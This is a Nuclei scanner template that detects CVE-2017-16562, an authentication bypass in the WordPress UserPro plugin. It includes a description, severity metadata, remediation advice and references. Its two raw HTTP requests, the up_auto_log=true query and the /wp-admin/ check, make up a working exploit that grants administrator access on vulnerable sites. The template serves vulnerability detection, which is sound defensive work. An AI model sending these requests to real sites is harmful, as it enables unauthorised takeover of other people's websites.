id: CVE-2017-16562 info: name: UserPro < 4.9.17.1 - Authentication Bypass author: DhiyaneshDk severity: critical description: | The UserPro plugin before 4.9.17.1 for WordPress, when used on a site that has the default "admin" username, allows unauthenticated remote attackers to bypass authentication and obtain administrative access by supplying up_auto_log=true in the query string of the default URI. The plugin's auto-login routine logs the request in as the "admin" account without any credential check, establishing an authenticated administrator session. impact: | Full administrative takeover of the WordPress site by an unauthenticated attacker. remediation: | Update UserPro to 4.9.17.1 or later. Avoid using the default "admin" username. reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-16562 - https://wpscan.com/vulnerability/6d5da73e-30c2-4100-bceb-634f9c95a30a/ - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/userpro - https://cvedetails.com/cve/CVE-2017-16562/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-16562 epss-score: 0.4787 epss-percentile: 0.98883 cwe-id: CWE-287 metadata: verified: true max-request: 2 vendor: userproplugin product: userpro framework: wordpress tags: cve,cve2017,wordpress,wp-plugin,userpro,auth-bypass,unauth,vkev flow: http(1) && http(2) http: - raw: - | GET /?up_auto_log=true HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: header words: - "wordpress_logged_in" internal: true - raw: - | GET /wp-admin/ HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - 'id="wpadminbar"' - '/wp-admin/' condition: and - type: status status: - 200 # digest: 4a0a00473045022100ec7b5a1cf93df23edf22288f794e94d338e615ec377efd565e4dc6049deb3fe902206bcd90bac88682e5f11e418afc8f70edbb18d24a7c3b14a94037338f949949e8:922c64590222798bb761d5b6d8e72950